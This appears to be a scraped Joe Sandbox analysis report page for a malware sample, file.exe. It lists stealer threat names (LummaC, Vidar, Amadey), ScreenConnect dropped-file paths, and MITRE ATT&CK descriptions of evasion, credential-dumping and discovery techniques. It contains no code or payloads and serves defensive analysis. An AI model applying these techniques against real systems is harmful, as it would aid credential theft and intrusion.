Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\3ca64f.rbs

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.en-US.resources

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.resources

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.en-US.resources

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.resources

Windows Analysis Report
file.exe

Description:	Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre